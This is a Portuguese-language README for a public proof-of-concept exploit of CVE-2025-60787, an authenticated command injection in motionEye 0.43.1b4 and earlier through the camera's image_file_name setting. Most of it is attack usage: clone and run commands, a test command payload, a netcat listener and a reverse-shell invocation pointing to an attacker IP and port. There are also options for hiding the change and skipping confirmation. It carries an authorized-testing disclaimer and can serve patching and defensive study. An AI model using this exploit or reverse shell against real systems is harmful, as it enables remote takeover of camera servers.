
CVE-2025-60787 motionEye injeção de comando autenticada RCE PoC
PoC de injeção de comandos autenticada para CVE-2025-60787. motionEye v0.43.1b4 e versões anteriores gravam valores de configuração de câmera controlados pelo usuário, como image_file_name, na configuração do Motion sem sanitização suficiente, permitindo a execução de comandos quando o valor é processado.
Apenas para testes autorizados e pesquisa. Não use contra sistemas que você não possua ou para os quais não tenha permissão explícita para testar.
Requisição de API assinada -> atualização da configuração da câmera -> injeção em image_file_name -> acionamento de snapshot -> execução de comando
/config/list/.image_file_name da câmera./action/<camera_id>/snapshot/ para que o motionEye processe o nome de arquivo injetado.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
Inicie um listener primeiro:
rlwrap nc -lvnp 4444
Depois execute:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Opções úteis:
--camera-id N ID da câmera a modificar (padrão: 1)
--restore Restaura a configuração original da câmera após o acionamento
--dry-run Constrói requisições assinadas sem modificar o alvo
--debug Exibe caminhos assinados canônicos, corpos e assinaturas
--no-trigger Atualiza a configuração sem acionar um snapshot
--verify-tls Verifica certificados HTTPS
--yes Pula o aviso de confirmação do reverse shell
| Produto | Versão afetada | Acesso necessário | Impacto |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Acesso autenticado de admin/API | Execução de comandos do sistema operacional como o usuário do processo motionEye/Motion |
O privilégio resultante depende de como o motionEye é implantado. Em contêineres ou imagens de laboratório que executam o serviço como root, a execução de comandos pode ocorrer como root.
image_file_name.--restore durante os testes para colocar a configuração original da câmera de volta após a exploração.--cmd para validação segura antes de tentar um reverse shell.ozcanpng — github.com/ozcanpng — ozcanpng.dev